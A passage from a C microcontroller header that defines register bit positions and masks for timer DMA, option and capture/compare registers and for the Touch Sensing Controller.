TIM_DCR_DBL_1 (0x02U << TIM_DCR_DBL_Pos) /*!< 0x00000200 */ #define TIM_DCR_DBL_2 (0x04U << TIM_DCR_DBL_Pos) /*!< 0x00000400 */ #define TIM_DCR_DBL_3 (0x08U << TIM_DCR_DBL_Pos) /*!< 0x00000800 */ #define TIM_DCR_DBL_4 (0x10U << TIM_DCR_DBL_Pos) /*!< 0x00001000 */ /******************* Bit definition for TIM_DMAR register *******************/ #define TIM_DMAR_DMAB_Pos (0U) #define TIM_DMAR_DMAB_Msk (0xFFFFU << TIM_DMAR_DMAB_Pos) /*!< 0x0000FFFF */ #define TIM_DMAR_DMAB TIM_DMAR_DMAB_Msk /*!<DMA register for burst accesses */ /******************* Bit definition for TIM16_OR register *********************/ #define TIM16_OR_TI1_RMP_Pos (6U) #define TIM16_OR_TI1_RMP_Msk (0x3U << TIM16_OR_TI1_RMP_Pos) /*!< 0x000000C0 */ #define TIM16_OR_TI1_RMP TIM16_OR_TI1_RMP_Msk /*!<TI1_RMP[1:0] bits (TIM16 Input 1 remap) */ #define TIM16_OR_TI1_RMP_0 (0x1U << TIM16_OR_TI1_RMP_Pos) /*!< 0x00000040 */ #define TIM16_OR_TI1_RMP_1 (0x2U << TIM16_OR_TI1_RMP_Pos) /*!< 0x00000080 */ /******************* Bit definition for TIM1_OR register *********************/ #define TIM1_OR_ETR_RMP_Pos (0U) #define TIM1_OR_ETR_RMP_Msk (0xFU << TIM1_OR_ETR_RMP_Pos) /*!< 0x0000000F */ #define TIM1_OR_ETR_RMP TIM1_OR_ETR_RMP_Msk /*!<ETR_RMP[3:0] bits (TIM1 ETR remap) */ #define TIM1_OR_ETR_RMP_0 (0x1U << TIM1_OR_ETR_RMP_Pos) /*!< 0x00000001 */ #define TIM1_OR_ETR_RMP_1 (0x2U << TIM1_OR_ETR_RMP_Pos) /*!< 0x00000002 */ #define TIM1_OR_ETR_RMP_2 (0x4U << TIM1_OR_ETR_RMP_Pos) /*!< 0x00000004 */ #define TIM1_OR_ETR_RMP_3 (0x8U << TIM1_OR_ETR_RMP_Pos) /*!< 0x00000008 */ /****************** Bit definition for TIM_CCMR3 register *******************/ #define TIM_CCMR3_OC5FE_Pos (2U) #define TIM_CCMR3_OC5FE_Msk (0x1U << TIM_CCMR3_OC5FE_Pos) /*!< 0x00000004 */ #define TIM_CCMR3_OC5FE TIM_CCMR3_OC5FE_Msk /*!<Output Compare 5 Fast enable */ #define TIM_CCMR3_OC5PE_Pos (3U) #define TIM_CCMR3_OC5PE_Msk (0x1U << TIM_CCMR3_OC5PE_Pos) /*!< 0x00000008 */ #define TIM_CCMR3_OC5PE TIM_CCMR3_OC5PE_Msk /*!<Output Compare 5 Preload enable */ #define TIM_CCMR3_OC5M_Pos (4U) #define TIM_CCMR3_OC5M_Msk (0x1007U << TIM_CCMR3_OC5M_Pos) /*!< 0x00010070 */ #define TIM_CCMR3_OC5M TIM_CCMR3_OC5M_Msk /*!<OC5M[2:0] bits (Output Compare 5 Mode) */ #define TIM_CCMR3_OC5M_0 (0x0001U << TIM_CCMR3_OC5M_Pos) /*!< 0x00000010 */ #define TIM_CCMR3_OC5M_1 (0x0002U << TIM_CCMR3_OC5M_Pos) /*!< 0x00000020 */ #define TIM_CCMR3_OC5M_2 (0x0004U << TIM_CCMR3_OC5M_Pos) /*!< 0x00000040 */ #define TIM_CCMR3_OC5M_3 (0x1000U << TIM_CCMR3_OC5M_Pos) /*!< 0x00010000 */ #define TIM_CCMR3_OC5CE_Pos (7U) #define TIM_CCMR3_OC5CE_Msk (0x1U << TIM_CCMR3_OC5CE_Pos) /*!< 0x00000080 */ #define TIM_CCMR3_OC5CE TIM_CCMR3_OC5CE_Msk /*!<Output Compare 5 Clear Enable */ #define TIM_CCMR3_OC6FE_Pos (10U) #define TIM_CCMR3_OC6FE_Msk (0x1U << TIM_CCMR3_OC6FE_Pos) /*!< 0x00000400 */ #define TIM_CCMR3_OC6FE TIM_CCMR3_OC6FE_Msk /*!<Output Compare 6 Fast enable */ #define TIM_CCMR3_OC6PE_Pos (11U) #define TIM_CCMR3_OC6PE_Msk (0x1U << TIM_CCMR3_OC6PE_Pos) /*!< 0x00000800 */ #define TIM_CCMR3_OC6PE TIM_CCMR3_OC6PE_Msk /*!<Output Compare 6 Preload enable */ #define TIM_CCMR3_OC6M_Pos (12U) #define TIM_CCMR3_OC6M_Msk (0x1007U << TIM_CCMR3_OC6M_Pos) /*!< 0x01007000 */ #define TIM_CCMR3_OC6M TIM_CCMR3_OC6M_Msk /*!<OC6M[2:0] bits (Output Compare 6 Mode) */ #define TIM_CCMR3_OC6M_0 (0x0001U << TIM_CCMR3_OC6M_Pos) /*!< 0x00001000 */ #define TIM_CCMR3_OC6M_1 (0x0002U << TIM_CCMR3_OC6M_Pos) /*!< 0x00002000 */ #define TIM_CCMR3_OC6M_2 (0x0004U << TIM_CCMR3_OC6M_Pos) /*!< 0x00004000 */ #define TIM_CCMR3_OC6M_3 (0x1000U << TIM_CCMR3_OC6M_Pos) /*!< 0x01000000 */ #define TIM_CCMR3_OC6CE_Pos (15U) #define TIM_CCMR3_OC6CE_Msk (0x1U << TIM_CCMR3_OC6CE_Pos) /*!< 0x00008000 */ #define TIM_CCMR3_OC6CE TIM_CCMR3_OC6CE_Msk /*!<Output Compare 6 Clear Enable */ /******************************************************************************/ /* */ /* Touch Sensing Controller (TSC) */ /* */ /******************************************************************************/ /******************* Bit definition for TSC_CR register *********************/ #define TSC_CR_TSCE_Pos (0U) #define TSC_CR_TSCE_Msk (0x1U << TSC_CR_TSCE_Pos) /*!< 0x00000001 */ #define TSC_CR_TSCE TSC_CR_TSCE_Msk /*!<Touch sensing controller enable */ #define TSC_CR_START_Pos (1U) #define TSC_CR_START_Msk (0x1U << TSC_CR_START_Pos) /*!< 0x00000002 */ #define TSC_CR_START TSC_CR_START_Msk /*!<Start acquisition */ #define TSC_CR_AM_Pos (2U) #define TSC_CR_AM_Msk (0x1U << TSC_CR_AM_Pos) /*!< 0x00000004 */ #define TSC_CR_AM TSC_CR_AM_Msk /*!<Acquisition mode */ #define TSC_CR_SYNCPOL_Pos (3U) #define TSC_CR_SYNCPOL_Msk (0x1U << TSC_CR_SYNCPOL_Pos) /*!< 0x00000008 */ #define TSC_CR_SYNCPOL TSC_CR_SYNCPOL_Msk /*!<Synchronization pin polarity */ #define TSC_CR_IODEF_Pos (4U) #define TSC_CR_IODEF_Msk (0x1U << TSC_CR_IODEF_Pos) /*!< 0x00000010 */ #define TSC_CR_IODEF TSC_CR_IODEF_Msk /*!<IO default mode */ #define TSC_CR_MCV_Pos (5U) #define TSC_CR_MCV_Msk (0x7U << TSC_CR_MCV_Pos) /*!< 0x000000E0 */ #define TSC_CR_MCV TSC_CR_MCV_Msk /*!<MCV[2:0] bits (Max Count Value) */ #define TSC_CR_MCV_0 (0x1U << TSC_CR_MCV_Pos) /*!< 0x00000020 */ #define TSC_CR_MCV_1 (0x2U << TSC_CR_MCV_Pos) /*!< 0x00000040 */ #define TSC_CR_MCV_2 (0x4U << TSC_CR_MCV_Pos) /*!< 0x00000080 */ #define TSC_CR_PGPSC_Pos (12U) #define TSC_CR_PGPSC_Msk (0x7U << TSC_CR_PGPSC_Pos) /*!< 0x00007000 */ #define TSC_CR_PGPSC TSC_CR_PGPSC_Msk /*!<PGPSC[2:0] bits (Pulse Generator Prescaler) */ #define TSC_CR_PGPSC_0 (0x1U << TSC_CR_PGPSC_Pos) /*!< 0x00001000 */ #define TSC_CR_PGPSC_1 (0x2U << TSC_CR_PGPSC_Pos) /*!< 0x00002000 */ #define TSC_CR_PGPSC_2 (0x4U << TSC_CR_PGPSC_Pos) /*!< 0x00004000 */ #define TSC_CR_SSPSC_Pos (15U) #define TSC_CR_SSPSC_Msk (0x1U << TSC_CR_SSPSC_Pos) /*!< 0x00008000 */ #define TSC_CR_SSPSC TSC_CR_SSPSC_Msk /*!<Spread Spectrum Prescaler */ #define TSC_CR_SSE_Pos (16U) #define TSC_CR_SSE_Msk (0x1U << TSC_CR_SSE_Pos) /*!< 0x00010000 */ #define TSC_CR_SSE TSC_CR_SSE_Msk /*!<Spread Spectrum Enable */ #define TSC_CR_SSD_Pos (17U) #define TSC_CR_SSD_Msk (0x7FU << TSC_CR_SSD_Pos) /*!< 0x00FE0000 */ #define TSC_CR_SSD TSC_CR_SSD_Msk /*!<SSD[6:0] bits (Spread Spectrum Deviation) */ #define TSC_CR_SSD_0 (0x01U << TSC_CR_SSD_Pos) /*!< 0x00020000 */ #define TSC_CR_SSD_1 (0x02U << TSC_CR_SSD_Pos) /*!< 0x00040000 */ #define TSC_CR_SSD_2 (0x04U << TSC_CR_SSD_Pos) /*!< 0x00080000 */ #define TSC_CR_SSD_3 (0x08U << TSC_CR_SSD_Pos) /*!< 0x00100000 */ #define TSC_CR_SSD_4 (0x10U << TSC_CR_SSD_Pos) /*!< 0x00200000 */ #define TSC_CR_SSD_5 (0x20U << TSC_CR_SSD_Pos) /*!< 0x00400000 */ #define TSC_CR_SSD_6 (0x40U << TSC_CR_SSD_Pos) /*!< 0x00800000 */ #define TSC_CR_CTPL_Pos (24U) #define TSC_CR_CTPL_Msk (0xFU << TSC_CR_CTPL_Pos) /*!< 0x0F000000 */ #define TSC_CR_CTPL TSC_CR_CTPL_Msk /*!<CTPL[3:0] bits (Charge Transfer pulse low) */ #define TSC_CR_CTPL_0 (0x1U << TSC_CR_CTPL_Pos) /*!< 0x01000000 */ #define TSC_CR_CTPL_1 (0x2U << TSC_CR_CTPL_Pos) /*!< 0x02000000 */ #define TSC_CR_CTPL_2 (0x4U << TSC_CR_CTPL_Pos) /*!< 0x04000000 */ #define TSC_CR_CTPL_3 (0x8U << TSC_CR_CTPL_Pos) /*!< 0x08000000 */ #define TSC_CR_CTPH_Pos (28U) #define TSC_CR_CTPH_Msk (0xFU << TSC_CR_CTPH_Pos) /*!< 0xF0000000 */ #define TSC_CR_CTPH TSC_CR_CTPH_Msk /*!<CTPH[3:0] bits (Charge Transfer pulse high) */ #define TSC_CR_CTPH_0 (0x1U << TSC_CR_CTPH_Pos) /*!< 0x10000000 */ #define TSC_CR_CTPH_1 (0x2U << TSC_CR_CTPH_Pos) /*!< 0x20000000 */ #define TSC_CR_CTPH_2 (0x4U << TSC_CR_CTPH_Pos) /*!< 0x40000000 */ #define TSC_CR_CTPH_3 (0x8U << TSC_CR_CTPH_Pos) /*!< 0x80000000 */ /******************* Bit definition for TSC_IER register ********************/ #define TSC_IER_EOAIE_Pos (0U) #define TSC_IER_EOAIE_Msk (0x1U << TSC_IER_EOAIE_Pos) /*!< 0x00000001 */ #define TSC_IER_EOAIE TSC_IER_EOAIE_Msk /*!<End of acquisition interrupt enable */ #define TSC_IER_MCEIE_Pos (1U) #define TSC_IER_MCEIE_Msk (0x1U << TSC_IER_MCEIE_Pos) /*!< 0x00000002 */ #define TSC_IER_MCEIE TSC_IER_MCEIE_Msk /*!<Max count error interrupt enable */ /******************* Bit definition for TSC_ICR register ********************/ #define TSC_ICR_EOAIC_Pos (0U) #define TSC_ICR_EOAIC_Msk (0x1U << TSC_ICR_EOAIC_Pos) /*!< 0x00000001 */ #define TSC_ICR_EOAIC TSC_ICR_EOAIC_Msk /*!<End of acquisition interrupt clear */ #define TSC_ICR_MCEIC_Pos (1U) #define TSC_ICR_MCEIC_Msk (0x1U << TSC_ICR_MCEIC_Pos) /*!< 0x00000002 */ #define TSC_ICR_MCEIC TSC_ICR_MCEIC_Msk /*!<Max count error interrupt clear */ /******************* Bit definition for TSC_ISR register ********************/ #define TSC_ISR_EOAF_Pos (0U) #define TSC_ISR_EOAF_Msk (0x1U << TSC_ISR_EOAF_Pos) /*!< 0x00000001 */ #define TSC_ISR_EOAF TSC_ISR_EOAF_Msk /*!<End of acquisition flag */ #define TSC_ISR_MCEF_Pos (1U) #define TSC_ISR_MCEF_Msk (0x1U << TSC_ISR_MCEF_Pos) /*!< 0x00000002 */ #define TSC_ISR_MCEF TSC_ISR_MCEF_Msk /*!<Max count error flag */ /******************* Bit definition for TSC_IOHCR register ******************/ #define TSC_IOHCR_G1_IO1_Pos (0U) #define TSC_IOHCR_G1_IO1_Msk (0x1U << TSC_IOHCR_G1_IO1_Pos) /*!< 0x00000001 */ #define TSC_IOHCR_G1_IO1 TSC_IOHCR_G1_IO1_Msk /*!<GROUP1_IO1 schmitt trigger hysteresis mode */ #define TSC_IOHCR_G1_IO2_Pos (1U) #define TSC_IOHCR_G1_IO2_Msk (0x1U << TSC_IOHCR_G1_IO2_Pos) /*!< 0x00000002 */ #define TSC_IOHCR_G1_IO2 TSC_IOHCR_G1_IO2_Msk /*!<GROUP1_IO2 schmitt trigger hysteresis mode */ #define TSC_IOHCR_G1_IO3_Pos (2U) #define TSC_IOHCR_G1_IO3_Msk (0x1U << TSC_IOHCR_G1_IO3_Pos) /*!< 0x00000004 */ #define TSC_IOHCR_G1_IO3 TSC_IOHCR_G1_IO3_Msk /*!<GROUP1_IO3 schmitt trigger hysteresis mode */ #define TSC_IOHCR_G1_IO4_Pos (3U) #define TSC_IOHCR_G1_IO4_Msk (0x1U << TSC_IOHCR_G1_IO4_Pos) /*!< 0x00000008 */ #define TSC_IOHCR_G1_IO4 TSC_IOHCR_G1_IO4_Msk /*!<GROUP1_IO4 schmitt trigger hysteresis mode */ #define TSC_IOHCR_G2_IO1_Pos (4U) #define TSC_IOHCR_G2_IO1_Msk (0x1U << TSC_IOHCR_G2_IO1_Pos) /*!< 0x00000010 */ #define TSC_IOHCR_G2_IO1 TSC_IOHCR_G2_IO1_Msk /*!<GROUP2_IO1 schmitt trigger hysteresis mode */ #define TSC_IOHCR_G2_IO2_Pos (5U) #define TSC_IOHCR_G2_IO2_Msk (0x1U << TSC_IOHCR_G2_IO2_Pos) /*!< 0x00000020 */ #define TSC_IOHCR_G2_IO2 TSC_IOHCR_G2_IO2_Msk /*!<GROUP2_IO2 schmitt trigger hysteresis mode */ #define TSC_IOHCR_G2_IO3_Pos (6U) #define TSC_IOHCR_G2_IO3_Msk (0x1U << TSC_IOHCR_G2_IO3_Pos) /*!< 0x00000040 */ #define TSC_IOHCR_G2_IO3 TSC_IOHCR_G2_IO3_Msk /*!<GROUP2_IO3 schmitt trigger hysteresis mode */ #define TSC_IOHCR_G2_IO4_Pos (7U) #define TSC_IOHCR_G2_IO4_Msk (0x1U << TSC_IOHCR_G2_IO4_Pos) /*!< 0x00000080 */ #define TSC_IOHCR_G2_IO4 TSC_IOHCR_G2_IO4_Msk /*!<GROUP2_IO4 schmitt trigger hysteresis mode */ #define TSC_IOHCR_G3_IO1_Pos (8U) #define TSC_IOHCR_G3_IO1_Msk (0x1U << TSC_IOHCR_G3_IO1_Pos) /*!< 0x00000100 */ #define TSC_IOHCR_G3_IO1 TSC_IOHCR_G3_IO1_Msk /*!<GROUP3_IO1 schmitt trigger hysteresis mode */ #define TSC_IOHCR_G3_IO2_Pos (9U) #define TSC_IOHCR_G3_IO2_Msk (0x1U << TSC_IOHCR_G3_IO2_Pos) /*!< 0x00000200 */ #define TSC_IOHCR_G3_IO2 TSC_IOHCR_G3_IO2_Msk /*!<GROUP3_IO2 schmitt trigger hysteresis mode */ #define TSC_IOHCR_G3_IO3_Pos (10U) #define TSC_IOHCR_G3_IO3_Msk (0x1U << TSC_IOHCR_G3_IO3_Pos) /*!< 0x00000400 */ #define TSC_IOHCR_G3_IO3 TSC_IOHCR_G3_IO3_Msk /*!<GROUP3_IO3 schmitt trigger hysteresis mode */ #define TSC_IOHCR_G3_IO4_Pos (11U) #define TSC_IOHCR_G3_IO4_Msk (0x1U << TSC_IOHCR_G3_IO4_Pos) /*!< 0x00000800 */ #define TSC_IOHCR_G3_IO4 TSC_IOHCR_G3_IO4_Msk /*!<GROUP3_IO4 schmitt trigger hysteresis mode */ #define TSC_IOHCR_G4_IO1_Pos (12U) #define TSC_IOHCR_G4_IO1_Msk (0x1U << TSC_IOHCR_G4_IO1_Pos) /*!< 0x00001000 */ #define TSC_IOHCR_G4_IO1 TSC_IOHCR_G4_IO1_Msk /*!<GROUP4_IO1 schmitt trigger hysteresis mode */ #define TSC_IOHCR_G4_IO2_Pos (13U) #define TSC_IOHCR_G4_IO2_Msk (0x1U << TSC_IOHCR_G4_IO2_Pos) /*!< 0x00002000 */ #define TSC_IOHCR_G4_IO2 TSC_IOHCR_G4_IO2_Msk /*!<GROUP4_IO2 schmitt trigger hysteresis mode */ #define TSC_IOHCR_G4_IO3_Pos (14U) #define TSC_IOHCR_G4_IO3_Msk (0x1U << TSC_IOHCR_G4_IO3_Pos) /*!< 0x00004000 */ #define TSC_IOHCR_G4_IO3 TSC_IOHCR_G4_IO3_Msk /*!<GROUP4_IO3 schmitt trigger hysteresis mode */ #define TSC_IOHCR_G4_IO4_Pos (15U) #define TSC_IOHCR_G4_IO4_Msk (0x1U << TSC_IOHCR_G4_IO4_Pos) /*!< 0x00008000 */ #define TSC_IOHCR_G4_IO4 TSC_IOHCR_G4_IO4_Msk /*!<GROUP4_IO4 schmitt trigger hysteresis mode */ #define TSC_IOHCR_G5_IO1_Pos (16U) #define TSC_IOHCR_G5_IO1_Msk (0x1U << TSC_IOHCR_G5_IO1_Pos) /*!< 0x00010000 */ #define TSC_IOHCR_G5_IO1 TSC_IOHCR_G5_IO1_Msk /*!<GROUP5_IO1 schmitt trigger hysteresis mode */ #define TSC_IOHCR_G5_IO2_Pos (17U) #define TSC_IOHCR_G5_IO2_Msk (0x1U << TSC_IOHCR_G5_IO2_Pos) /*!< 0x00020000 */ #define TSC_IOHCR_G5_IO2 TSC_IOHCR_G5_IO2_Msk /*!<GROUP5_IO2 schmitt trigger hysteresis mode */ #define TSC_IOHCR_G5_IO3_Pos (18U) #define TSC_IOHCR_G5_IO3_Msk (0x1U << TSC_IOHCR_G5_IO3_Pos) /*!< 0x00040000 */ #define TSC_IOHCR_G5_IO3 TSC_IOHCR_G5_IO3_Msk /*!<GROUP5_IO3 schmitt trigger hysteresis mode */ #define TSC_IOHCR_G5_IO4_Pos (19U) #define TSC_IOHCR_G5_IO4_Msk (0x1U << TSC_IOHCR_G5_IO4_Pos) /*!< 0x00080000 */ #define TSC_IOHCR_G5_IO4 TSC_IOHCR_G5_IO4_Msk /*!<GROUP5_IO4 schmitt trigger hysteresis mode */ #define TSC_IOHCR_G6_IO1_Pos (20U) #define TSC_IOHCR_G6_IO1_Msk (0x1U << TSC_IOHCR_G6_IO1_Pos) /*!< 0x00100000 */ #define TSC_IOHCR_G6_IO1 TSC_IOHCR_G6_IO1_Msk /*!<GROUP6_IO1 schmitt trigger hysteresis mode */ #define TSC_IOHCR_G6_IO2_Pos (21U) #define TSC_IOHCR_G6_IO2_Msk (0x1U << TSC_IOHCR_G6_IO2_Pos) /*!< 0x00200000 */ #define TSC_IOHCR_G6_IO2 TSC_IOHCR_G6_IO2_Msk /*!<GROUP6_IO2 schmitt trigger hysteresis mode */ #define TSC_IOHCR_G6_IO3_Pos (22U) #define TSC_IOHCR_G6_IO3_Msk (0x1U << TSC_IOHCR_G6_IO3_Pos) /*!< 0x00400000 */ #define TSC_IOHCR_G6_IO3 TSC_IOHCR_G6_IO3_Msk /*!<GROUP6_IO3 schmitt trigger hysteresis mode */ #define TSC_IOHCR_G6_IO4_Pos (23U) #define TSC_IOHCR_G6_IO4_Msk (0x1U << TSC_IOHCR_G6_IO4_Pos) /*!< 0x00800000 */ #define TSC_IOHCR_G6_IO4 TSC_IOHCR_G6_IO4_Msk /*!<GROUP6_IO4 schmitt trigger hysteresis mode */ #define TSC_IOHCR_G7_IO1_Pos (24U) #define TSC_IOHCR_G7_IO1_Msk (0x1U << TSC_IOHCR_G7_IO1_Pos) /*!< 0x01000000 */ #define TSC_IOHCR_G7_IO1 TSC_IOHCR_G7_IO1_Msk /*!<GROUP7_IO1 schmitt trigger hysteresis mode */ #define TSC_IOHCR_G7_IO2_Pos (25U) #define TSC_IOHCR_G7_IO2_Msk (0x1U << TSC_IOHCR_G7_IO2_Pos) /*!< 0x02000000 */ #define TSC_IOHCR_G7_IO2 TSC_IOHCR_G7_IO2_Msk /*!<GROUP7_IO2 schmitt trigger hysteresis mode */ #define TSC_IOHCR_G7_IO3_Pos (26U) #define TSC_IOHCR_G7_IO3_Msk (0x1U << TSC_IOHCR_G7_IO3_Pos) /*!< 0x04000000 */ #define TSC_IOHCR_G7_IO3 TSC_IOHCR_G7_IO3_Msk /*!<GROUP7_IO3 schmitt trigger hysteresis mode */ #define TSC_IOHCR_G7_IO4_Pos (27U) #define TSC_IOHCR_G7_IO4_Msk (0x1U << TSC_IOHCR_G7_IO4_Pos) /*!< 0x08000000 */ #define TSC_IOHCR_G7_IO4 TSC_IOHCR_G7_IO4_Msk /*!<GROUP7_IO4 schmitt trigger hysteresis mode */ #define TSC_IOHCR_G8_IO1_Pos (28U) #define TSC_IOHCR_G8_IO1_Msk (0x1U << TSC_IOHCR_G8_IO1_Pos) /*!< 0x10000000 */ #define TSC_IOHCR_G8_IO1 TSC_IOHCR_G8_IO1_Msk /*!<GROUP8_IO1 schmitt trigger hysteresis mode */ #define TSC_IOHCR_G8_IO2_Pos (29U) #define TSC_IOHCR_G8_IO2_Msk (0x1U << TSC_IOHCR_G8_IO2_Pos) /*!< 0x20000000 */ #define TSC_IOHCR_G8_IO2 TSC_IOHCR_G8_IO2_Msk /*!<GROUP8_IO2 schmitt trigger hysteresis mode */ #define TSC_IOHCR_G8_IO3_Pos (30U) #define TSC_IOHCR_G8_IO3_Msk (0x1U << TSC_IOHCR_G8_IO3_Pos) /*!< 0x40000000 */ #define TSC_IOHCR_G8_IO3 TSC_IOHCR_G8_IO3_Msk /*!<GROUP8_IO3 schmitt trigger hysteresis mode */ #define TSC_IOHCR_G8_IO4_Pos (31U) #define TSC_IOHCR_G8_IO4_Msk (0x1U << TSC_IOHCR_G8_IO4_Pos) /*!< 0x80000000 */ #define TSC_IOHCR_G8_IO4 TSC_IOHCR_G8_IO4_Msk /*!<GROUP8_IO4 schmitt trigger hysteresis mode */ /******************* Bit definition for TSC_IOASCR register *****************/ #define TSC_IOASCR_G1_IO1_Pos (0U) #define TSC_IOASCR_G1_IO1_Msk (0x1U << TSC_IOASCR_G1_IO1_Pos) /*!< 0x00000001 */ #define TSC_IOASCR_G1_IO1 TSC_IOASCR_G1_IO1_Msk /*!<GROUP1_IO1 analog switch enable */ #define TSC_IOASCR_G1_IO2_Pos (1U) #define TSC_IOASCR_G1_IO2_Msk (0x1U << TSC_IOASCR_G1_IO2_Pos) /*!< 0x00000002 */ #define TSC_IOASCR_G1_IO2 TSC_IOASCR_G1_IO2_Msk /*!<GROUP1_IO2 analog switch enable */ #define TSC_IOASCR_G1_IO3_Pos (2U) #define TSC_IOASCR_G1_IO3_Msk (0x1U << TSC_IOASCR_G1_IO3_Pos) /*!< 0x00000004 */ #define TSC_IOASCR_G1_IO3 TSC_IOASCR_G1_IO3_Msk /*!<GROUP1_IO3 analog switch enable */ #define TSC_IOASCR_G1_IO4_Pos (3U) #define TSC_IOASCR_G1_IO4_Msk (0x1U << TSC_IOASCR_G1_IO4_Pos) /*!< 0x00000008 */ #define TSC_IOASCR_G1_IO4 TSC_IOASCR_G1_IO4_Msk /*!<GROUP1_IO4 analog switch enable */ #define TSC_IOASCR_G2_IO1_Pos (4U) #define TSC_IOASCR_G2_IO1_Msk (0x1U << TSC_IOASCR_G2_IO1_Pos) /*!< 0x00000010 */ #define TSC_IOASCR_G2_IO1 TSC_IOASCR_G2_IO1_Msk /*!<GROUP2_IO1 analog switch enable */ #define TSC_IOASCR_G2_IO2_Pos (5U) #define TSC_IOASCR_G2_IO2_Msk (0x1U << TSC_IOASCR_G2_IO2_Pos) /*!< 0x00000020 */ #define TSC_IOASCR_G2_IO2 TSC_IOASCR_G2_IO2_Msk /*!<GROUP2_IO2 analog switch enable */ #define TSC_IOASCR_G2_IO3_Pos (6U) #define TSC_IOASCR_G2_IO3_Msk (0x1U << TSC_IOASCR_G2_IO3_Pos) /*!< 0x00000040 */ #define TSC_IOASCR_G2_IO3 TSC_IOASCR_G2_IO3_Msk /*!<GROUP2_IO3 analog switch enable */ #define TSC_IOASCR_G2_IO4_Pos (7U) #define TSC_IOASCR_G2_IO4_Msk (0x1U << TSC_IOASCR_G2_IO4_Pos) /*!< 0x00000080 */ #define TSC_IOASCR_G2_IO4 TSC_IOASCR_G2_IO4_Msk /*!<GROUP2_IO4 analog switch enable */ #define TSC_IOASCR_G3_IO1_Pos (8U) #define TSC_IOASCR_G3_IO1_Msk (0x1U << TSC_IOASCR_G3_IO1_Pos) /*!< 0x00000100 */ #define TSC_IOASCR_G3_IO1 TSC_IOASCR_G3_IO1_Msk /*!<GROUP3_IO1 analog switch enable */ #define TSC_IOASCR_G3_IO2_Pos (9U) #define TSC_IOASCR_G3_IO2_Msk (0x1U << TSC_IOASCR_G3_IO2_Pos) /*!< 0x00000200 */ #define TSC_IOASCR_G3_IO2 TSC_IOASCR_G3_IO2_Msk /*!<GROUP3_IO2 analog switch enable */ #define TSC_IOASCR_G3_IO3_Pos (10U) #define TSC_IOASCR_G3_IO3_Msk (0x1U << TSC_IOASCR_G3_IO3_Pos) /*!< 0x00000400 */ #define TSC_IOASCR_G3_IO3 TSC_IOASCR_G3_IO3_Msk /*!<GROUP3_IO3 analog switch enable */ #define TSC_IOASCR_G3_IO4_Pos (11U) #define TSC_IOASCR_G3_IO4_Msk (0x1U << TSC_IOASCR_G3_IO4_Pos) /*!< 0x00000800 */ #define TSC_IOASCR_G3_IO4 TSC_IOASCR_G3_IO4_Msk /*!<GROUP3_IO4 analog switch enable */ #define TSC_IOASCR_G4_IO1_Pos (12U) #define TSC_IOASCR_G4_IO1_Msk (0x1U << TSC_IOASCR_G4_IO1_Pos) /*!< 0x00001000 */ #define TSC_IOASCR_G4_IO1 TSC_IOASCR_G4_IO1_Msk /*!<GROUP4_IO1 analog switch enable */ #define TSC_IOASCR_G4_IO2_Pos (13U) #define TSC_IOASCR_G4_IO2_Msk (0x1U << TSC_IOASCR_G4_IO2_Pos) /*!< 0x00002000 */ #define TSC_IOASCR_G4_IO2 TSC_IOASCR_G4_IO2_Msk /*!<GROUP4_IO2 analog switch enable */ #define TSC_IOASCR_G4_IO3_Pos (14U) #define TSC_IOASCR_G4_IO3_Msk (0x1U << TSC_IOASCR_G4_IO3_Pos) /*!< 0x00004000 */ #define TSC_IOASCR_G4_IO3 TSC_IOASCR_G4_IO3_Msk /*!<GROUP4_IO3 analog switch enable */ #define TSC_IOASCR_G4_IO4_Pos (15U) #define TSC_IOASCR_G4_IO4_Msk (0x1U << TSC_IOASCR_G4_IO4_Pos) /*!< 0x00008000 */ #define TSC_IOASCR_G4_IO4 TSC_IOASCR_G4_IO4_Msk /*!<GROUP4_IO4 analog switch enable */ #define TSC_IOASCR_G5_IO1_Pos (16U) #define TSC_IOASCR_G5_IO1_Msk (0x1U << TSC_IOASCR_G5_IO1_Pos) /*!< 0x00010000 */ #define TSC_IOASCR_G5_IO1 TSC_IOASCR_G5_IO1_Msk /*!<GROUP5_IO1 analog switch enable */ #define TSC_IOASCR_G5_IO2_Pos (17U) #define TSC_IOASCR_G5_IO2_Msk (0x1U << TSC_IOASCR_G5_IO2_Pos) /*!< 0x00020000 */ #define TSC_IOASCR_G5_IO2 TSC_IOASCR_G5_IO2_Msk /*!<GROUP5_IO2 analog switch enable */ #define TSC_IOASCR_G5_IO3_Pos (18U) #define TSC_IOASCR_G5_IO3_Msk (0x1U << TSC_IOASCR_G5_IO3_Pos) /*!< 0x00040000 */ #define TSC_IOASCR_G5_IO3 TSC_IOASCR_G5_IO3_Msk /*!<GROUP5_IO3 analog switch enable */ #define TSC_IOASCR_G5_IO4_Pos (19U) #define TSC_IOASCR_G5_IO4_Msk (0x1U << TSC_IOASCR_G5_IO4_Pos) /*!< 0x00080000 */ #define TSC_IOASCR_G5_IO4 TSC_IOASCR_G5_IO4_Msk /*!<GROUP5_IO4 analog switch enable */ #define TSC_IOASCR_G6_IO1_Pos (20U) #define TSC_IOASCR_G6_IO1_Msk (0x1U << TSC_IOASCR_G6_IO1_Pos) /*!< 0x00100000 */ #define TSC_IOASCR_G6_IO1 TSC_IOASCR_G6_IO1_Msk /*!<GROUP6_IO1 analog switch enable */ #define TSC_IOASCR_G6_IO2_Pos (21U) #define TSC_IOASCR_G6_IO2_Msk (0x1U << TSC_IOASCR_G6_IO2_Pos) /*!< 0x00200000 */ #define TSC_IOASCR_G6_IO2 TSC_IOASCR_G6_IO2_Msk /*!<GROUP6_IO2 analog switch enable */ #define TSC_IOASCR_G6_IO3_Pos (22U) #define TSC_IOASCR_G6_IO3_Msk (0x1U << TSC_IOASCR_G6_IO3_Pos) /*!< 0x00400000 */ #define TSC_IOASCR_G6_IO3 TSC_IOASCR_G6_IO3_Msk /*!<GROUP6_IO3 analog switch enable */ #define TSC_IOASCR_G6_IO4_Pos (23U) #define TSC_IOASCR_G6_IO4_Msk (0x1U << TSC_IOASCR_G6_IO4_Pos) /*!< 0x00800000 */ #define TSC_IOASCR_G6_IO4 TSC_IOASCR_G6_IO4_Msk /*!<GROUP6_IO4 analog switch enable */ #define TSC_IOASCR_G7_IO1_Pos (24U) #define TSC_IOASCR_G7_IO1_Msk (0x1U << TSC_IOASCR_G7_IO1_Pos) /*!< 0x01000000 */ #define TSC_IOASCR_G7_IO1 TSC_IOASCR_G7_IO1_Msk /*!<GROUP7_IO1 analog switch enable */ #define TSC_IOASCR_G7_IO2_Pos (25U) #define TSC_IOASCR_G7_IO2_Msk (0x1U << TSC_IOASCR_G7_IO2_Pos) /*!< 0x02000000 */ #define TSC_IOASCR_G7_IO2 